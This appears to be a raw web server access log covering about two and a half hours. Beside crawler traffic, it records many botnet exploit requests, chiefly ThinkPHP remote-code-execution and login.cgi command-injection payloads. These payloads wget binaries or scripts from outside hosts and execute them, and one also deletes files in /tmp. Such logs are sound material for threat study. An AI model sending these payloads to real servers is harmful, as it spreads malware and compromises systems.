183.80.240.174 - - [05/Feb/2020:04:06:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
157.55.39.68 - - [05/Feb/2020:04:08:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
112.160.110.48 - - [05/Feb/2020:04:09:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [05/Feb/2020:04:09:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [05/Feb/2020:04:09:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [05/Feb/2020:04:09:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [05/Feb/2020:04:09:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
113.22.123.216 - - [05/Feb/2020:04:11:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.187.125 - - [05/Feb/2020:04:12:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.46.25.229 - - [05/Feb/2020:04:12:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.109.216.148 - - [05/Feb/2020:04:13:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [05/Feb/2020:04:13:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
119.207.195.52 - - [05/Feb/2020:04:18:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.108.66.64 - - [05/Feb/2020:04:19:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
139.162.106.181 - - [05/Feb/2020:04:19:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
42.116.132.79 - - [05/Feb/2020:04:20:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [05/Feb/2020:04:23:20 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
128.14.134.170 - - [05/Feb/2020:04:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
110.74.221.70 - - [05/Feb/2020:04:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.233.122.226 - - [05/Feb/2020:04:24:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.9.141.8 - - [05/Feb/2020:04:26:15 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
5.9.141.8 - - [05/Feb/2020:04:26:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
1.53.202.40 - - [05/Feb/2020:04:26:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.52.43.117 - - [05/Feb/2020:04:27:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
2.134.162.105 - - [05/Feb/2020:04:29:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.129.225.67 - - [05/Feb/2020:04:29:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [05/Feb/2020:04:35:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
95.57.37.57 - - [05/Feb/2020:04:38:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.46.83.92 - - [05/Feb/2020:04:40:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
198.211.10.10 - - [05/Feb/2020:04:41:50 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
71.6.232.4 - - [05/Feb/2020:04:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
1.55.7.161 - - [05/Feb/2020:04:43:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
185.20.247.193 - - [05/Feb/2020:04:43:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.101.203.135 - - [05/Feb/2020:04:44:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
118.68.116.119 - - [05/Feb/2020:04:45:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.190.107 - - [05/Feb/2020:04:46:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.189.37 - - [05/Feb/2020:04:48:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.38 - - [05/Feb/2020:04:49:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
92.46.25.54 - - [05/Feb/2020:04:49:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.177.153.12 - - [05/Feb/2020:04:55:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.239.19.112 - - [05/Feb/2020:04:56:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.236.76.95 - - [05/Feb/2020:04:57:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.67 - - [05/Feb/2020:04:59:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
115.178.98.162 - - [05/Feb/2020:05:02:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.231.158.206 - - [05/Feb/2020:05:02:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [05/Feb/2020:05:04:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
182.48.105.210 - - [05/Feb/2020:05:04:41 +0100] "envi" 501 319 "-" "-"
182.48.105.210 - - [05/Feb/2020:05:04:42 +0100] "stats" 501 320 "-" "-"
182.48.99.219 - - [05/Feb/2020:05:04:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
198.211.10.10 - - [05/Feb/2020:05:06:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
24.148.8.88 - - [05/Feb/2020:05:07:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
198.211.10.10 - - [05/Feb/2020:05:10:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
198.211.10.10 - - [05/Feb/2020:05:10:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
113.22.170.212 - - [05/Feb/2020:05:11:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.201.179.77 - - [05/Feb/2020:05:12:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.32.140.239 - - [05/Feb/2020:05:14:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
188.38.129.22 - - [05/Feb/2020:05:16:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
178.89.177.83 - - [05/Feb/2020:05:18:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.128.66.14 - - [05/Feb/2020:05:19:25 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
178.239.214.15 - - [05/Feb/2020:05:20:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.118.196.49 - - [05/Feb/2020:05:21:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.46.25.229 - - [05/Feb/2020:05:23:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [05/Feb/2020:05:24:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
5.188.210.101 - - [05/Feb/2020:05:25:54 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.88.62.41 - - [05/Feb/2020:05:26:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.116.89.160 - - [05/Feb/2020:05:28:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.4.172 - - [05/Feb/2020:05:28:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.188.210.101 - - [05/Feb/2020:05:28:38 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
112.66.94.115 - - [05/Feb/2020:05:29:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.154.122.85 - - [05/Feb/2020:05:32:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
163.47.145.218 - - [05/Feb/2020:05:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
211.192.224.217 - - [05/Feb/2020:05:37:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [05/Feb/2020:05:37:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [05/Feb/2020:05:37:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [05/Feb/2020:05:37:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [05/Feb/2020:05:38:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.147.85.10 - - [05/Feb/2020:05:40:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.179.52 - - [05/Feb/2020:05:40:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.138.185.244 - - [05/Feb/2020:05:41:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
2.134.188.93 - - [05/Feb/2020:05:42:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.128.155.41 - - [05/Feb/2020:05:42:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
178.176.194.96 - - [05/Feb/2020:05:49:39 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
78.158.191.155 - - [05/Feb/2020:05:53:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
206.253.224.74 - - [05/Feb/2020:05:53:38 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.224.74 - - [05/Feb/2020:05:53:38 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
121.226.65.244 - - [05/Feb/2020:06:04:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.192.180.178 - - [05/Feb/2020:06:08:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:06:08:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:06:09:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:06:09:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:06:09:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
139.162.106.181 - - [05/Feb/2020:06:10:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
175.136.224.214 - - [05/Feb/2020:06:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
197.200.160.76 - - [05/Feb/2020:06:12:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.200.160.76 - - [05/Feb/2020:06:12:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.5.212.211 - - [05/Feb/2020:06:15:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.162.193.38 - - [05/Feb/2020:06:16:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.100.165 - - [05/Feb/2020:06:18:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.15.36.160 - - [05/Feb/2020:06:19:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.204.64.17 - - [05/Feb/2020:06:21:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.75.154 - - [05/Feb/2020:06:22:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.214.98.90 - - [05/Feb/2020:06:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.130 Safari/537.36"
42.116.132.79 - - [05/Feb/2020:06:23:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.113.62 - - [05/Feb/2020:06:23:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.232.4 - - [05/Feb/2020:06:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
49.228.6.52 - - [05/Feb/2020:06:29:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.12.68.89 - - [05/Feb/2020:06:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
